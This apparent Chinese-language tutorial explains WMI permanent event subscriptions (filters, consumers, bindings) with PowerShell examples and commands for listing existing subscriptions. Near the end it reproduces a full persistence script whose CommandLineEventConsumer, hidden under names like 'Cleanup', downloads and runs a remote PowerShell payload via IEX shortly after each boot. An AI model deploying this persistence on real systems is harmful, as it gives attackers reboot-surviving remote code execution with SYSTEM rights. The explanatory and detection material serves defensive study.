前边对于WMI的基础内容进行简单的总结和整理,结下来的这篇内容主要针对WMI的永久订阅事件展开详细的阐述。
WMI事件订阅机制
WMI
事件分为两类,分别是本地事件订阅和永久性事件订阅。
所谓本地事件是指运行在本地上下文环境当中的单个进程的事件,因此本地事件订阅的生命周期是进程生命周期,相比较而言,永久性事件订阅可以在任何事件接收WMI事件,其保存在WMI
存储库中,以 SYSTEM
权限运行,并且重启后依然存在。
创建一个永久性的事件订阅需要满足三个条件:
- 过滤器(Event Filter):顾名思义,筛选出我们感兴趣的事件
- 事件消费者(Event Constumer):筛选出来的事件呗触发的时候,需要执行的操作
- 消费者绑定筛选器:将筛选器绑定到消费者的注册机制
事件筛选器
事件筛选器的主要作用是在捕获的WMI
事件中筛选出我们感兴趣的事件,这个过程通过WQL
语句实现。系统管理员在配置了筛选器之后,就会在创建新事件的时候接收到通知。一般情况下恶意代码可能对以下的事件感兴趣
- 创建某个特定名称的进程
- 加载某个DLL到内存空间
- 用户注销
- 插入移动设备
事件筛选器都被存储为一个 ROOT\subscription:__EventFilter
对象的实例,事件筛选器主要支持以下事件的查询:
内部事件
内部事件表示的是创建、修改和删除任何 WMI 类,对象或命名空间的事件。它们也可被用于计时器或 WMI 方法执行的警报。以下内部事件采用了系统类 (以两个下划线开头的那些) 的形式,并存在于每一个 WMI 命名空间:
__NamespaceOperationEvent
__NamespaceModificationEvent
__NamespaceDeletionEvent
__NamespaceCreationEvent
__ClassOperationEvent
__ClassDeletionEvent
__ClassModificationEvent
__ClassCreationEvent
__InstanceOperationEvent
__InstanceCreationEvent
__MethodInvocationEvent
__InstanceModificationEvent
__InstanceDeletionEvent
__TimerEvent
外部事件
相对而言,外部事件并没有内部事件支持的类型多,以下列举几类攻击者可能感兴趣同时防御方需要重点关注的几类事件:
ROOT\CIMV2:Win32_ComputerShutdownEvent
ROOT\CIMV2:Win32_ProcessStartTrace
ROOT\CIMV2:Win32_ModuleLoadTrace
ROOT\CIMV2:Win32_ThreadStartTrace
ROOT\DEFAULT:RegistryKeyChangeEvent
ROOT\DEFAULT:RegistryValueChangeEvent
事件筛选器包含4个参数:
EventNamespace(事件命名空间)
Name(筛选器名称)
Query(筛选过滤语句)
QueryLanguage(语句类型)
事件消费者
事件消费是一个派生自 __EventConsumer
系统类的类,它表示了在事件触发时的动作。系统提供了以下有用的标准事件消费类:
LogFileEventConsumer - 将事件数据写入到指定的日志文件(日志文件事件消费者)
ActiveScriptEventConsumer - 执行嵌入的 VBScript 或 JScript 脚本 payload(脚本事件消费者)
NTEventLogEventConsumer - 创建一个包含事件数据的事件日志条目(NT事件日志事件消费者)
SMTPEventConsumer - 发送一封包含事件数据的电子邮件(邮件事件消费者)
CommandLineEventConsumer - 执行一个命令行程序(命令行事件消费者)
攻击者在响应他们的事件时,大量使用 ActiveScriptEventConsumer
和 CommandLineEventConsumer
类。这两个事件消费者为攻击者提供了极大的灵活性去执行他们想要执行的任何 payload
并且无需写入一个恶意的可执行文件或脚本到磁盘。
命令行事件消费者主要有以下四个参数:
Name(事件消费者名)
ExecutablePath(执行路径)
CommandLineTemplate(命令行)
RunInteractively(交互式运行)
事件消费者和筛选器的绑定
使用__FilterToConsumerBinding
建立筛选器和事件消费者的绑定关系。
$FilterToConsumerBinding = Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
永久订阅事件的检查
这里主要介绍如何查看当前操作系统中已经注册的筛选器和消费者以及已经绑定过的事件:
Get-WMIObject -Namespace root\Subscription -Class __EventFilter :查看当前操作系统注册的筛选器
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer :查看当前操作系统注册的消费者信息
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding :查看当前操作系统绑定过的筛选器和消费者
powershell创建WMI永久订阅事件
使用 [wmiclass]
具体操作过程如下:
- 创建过滤器
1:首先创建过滤器
$SecurityFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
2:设置必要参数:查询语言、查询语句、名称、命名空间
$SecurityFilter.QueryLanguage="WQL" 设置查询语言
$SecurityFilter.Query="select * from __instanceModificationEvent within 5 where targetInstance is a 'win32_Service'"
(设置查询语句)
$SecurityFilter.Name="ServiceFilter" 设置过滤器名称
$SecurityFilter.EventNamespace='root\cimv2' 设置命名空间
__InstanceModificationEvent系统类报告实例修改事件,这是实例在命名空间中更改时生成的内部事件类型。
https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/determining-the-type-of-event-to-receive
https://learn.microsoft.com/zh-cn/windows/win32/wmisdk/–instancemodificationevent
创建好之后的过滤器如下:
之后需要将刚才创建好的新过滤器保存到WMI
的存储库中,可以使用put函数实现这个目的,在此之前我们可以使用Get-Member
配合-View All
选项查看到所有的成员
调用put
函数将已经创建的过滤器保存到WMI
存储库中
$result = $SecurityFilter.Put()
$newFilter = $result.Path
最后生成的过滤器即:$newFilter
,内容如下:
2. 创建消费者
$SecutityConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance()
$SecutityConsumer.Name = 'ServiceConsumer'
$SecutityConsumer.Filename = "C:\Scripts\Log.log"
$SecutityConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
$result = $SecutityConsumer.Put()
$newConsumer = $result.Path
3. 绑定过滤器和消费者
$SecurityBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$SecurityBinding.Filter = $newFilter
$SecurityBinding.Consumer = $newConsumer
$result = $SecurityBinding.Put()
$newBinding = $result.Path
尝试执行触发动作:Stop-Service wuauserv -Verbose
使用 Set-WMIInstance
关于Set-WMIInstance微软说明:
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.management/set-wmiinstance?view=powershell-5.1
创建步骤依旧相似,首先创建过滤器:
关于splatting的微软说明:简单来说,为了传递多个参数
https://learn.microsoft.com/zh-cn/powershell/module/microsoft.powershell.core/about/about_splatting?view=powershell-7.3
在splatting中初始化多个参数,和创建的时候指定相关参数是一样的,通过splatting指定命名空间以及类名等参数
*splatting* $wmiParams = @{
Computername = $env:COMPUTERNAME
ErrorAction = 'Stop'
NameSpace = 'root\subscription'
}
#创建过滤器
$wmiParams.Class = '__EventFilter'
$wmiParams.Arguments = @{
Name = 'ServiceFilter'
EventNamespace = 'root\CIMV2'
QueryLanguage = 'WQL'
Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'"
}
$filterResult = Set-WmiInstance @wmiParams
#创建消费者
$wmiParams.Class = 'LogFileEventConsumer'
$wmiParams.Arguments = @{
Name = 'ServiceConsumer'
Text = 'A change has occurred on the service: %TargetInstance.DisplayName%'
FileName = "C:\Scripts\Log.log" }
$consumerResult = Set-WmiInstance @wmiParams
#绑定消费者和过滤器
$wmiParams.Class = '__FilterToConsumerBinding'
$wmiParams.Arguments = @{
Filter = $filterResult
Consumer = $consumerResult
}
$bindingResult = Set-WmiInstance @wmiParams
执行结果如下:
完整的Powershell
创建WMI
永久订阅事件示例:https://mp.weixin.qq.com/s?__biz=MzU4NTY4MDEzMw==&mid=2247492771&idx=1&sn=0247402ab49345c90c77d3c651678bd5&chksm=fd8470c9caf3f9dfcd4ded3126424af35faed84997b1f581b50961aac6defe1f1a99a4e11b99&scene=27
function Install-Persistence{
$Payload = "<strong>((new-object net.webclient).downloadstring('http://192.168.3.68:80/logo.gif'))</strong>"
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
$finalPayload = "<strong>powershell.exe -nop -c `"IEX $Payload`"</strong>"
# Create event filter
$EventFilterArgs = @{
EventNamespace = 'root/cimv2'
Name = $EventFilterName
Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325"
QueryLanguage = 'WQL'
}
$Filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments $EventFilterArgs
# Create CommandLineEventConsumer
$CommandLineConsumerArgs = @{
Name = $EventConsumerName
CommandLineTemplate = $finalPayload
}
$Consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments $CommandLineConsumerArgs
# Create FilterToConsumerBinding
$FilterToConsumerArgs = @{
Filter = $Filter
Consumer = $Consumer
}
$FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments $FilterToConsumerArgs
#Confirm the Event Filter was created
$EventCheck = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
if($EventCheck -ne $null) {
Write-Host "Event Filter $EventFilterName successfully written to host"
}
#Confirm the Event Consumer was created
$ConsumerCheck = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
if($ConsumerCheck -ne $null) {
Write-Host "Event Consumer $EventConsumerName successfully written to host"
}
#Confirm the FiltertoConsumer was created
$BindingCheck = Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding -Filter "Filter = ""__eventfilter.name='$EventFilterName'"""
if($BindingCheck -ne $null){
Write-Host "Filter To Consumer Binding successfully written to host"
}
}
function Remove-Persistence{
$EventFilterName = 'Cleanup'
$EventConsumerName = 'DataCleanup'
# Clean up Code - Comment this code out when you are installing persistence otherwise it will
$EventConsumerToCleanup = Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer -Filter "Name = '$EventConsumerName'"
$EventFilterToCleanup = Get-WmiObject -Namespace root/subscription -Class __EventFilter -Filter "Name = '$EventFilterName'"
$FilterConsumerBindingToCleanup = Get-WmiObject -Namespace root/subscription -Query "REFERENCES OF {$($EventConsumerToCleanup.__RELPATH)} WHERE ResultClass = __FilterToConsumerBinding"
$FilterConsumerBindingToCleanup | Remove-WmiObject
$EventConsumerToCleanup | Remove-WmiObject
$EventFilterToCleanup | Remove-WmiObject
}
function Check-WMI{
Write-Host "Showing All Root Event Filters"
Get-WmiObject -Namespace root/subscription -Class __EventFilter
Write-Host "Showing All CommandLine Event Consumers"
Get-WmiObject -Namespace root/subscription -Class CommandLineEventConsumer
Write-Host "Showing All Filter to Consumer Bindings"
Get-WmiObject -Namespace root/subscription -Class __FilterToConsumerBinding
}
参考链接
https://learn-powershell.net/2013/08/14/powershell-and-events-permanent-wmi-event-subscriptions/
https://tttang.com/archive/1624/
https://www.anquanke.com/post/id/85851
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html
https://wooyun.js.org/drops/WMI%20%E7%9A%84%E6%94%BB%E5%87%BB%EF%BC%8C%E9%98%B2%E5%BE%A1%E4%B8%8E%E5%8F%96%E8%AF%81%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E4%B9%8B%E6%94%BB%E5%87%BB%E7%AF%87.html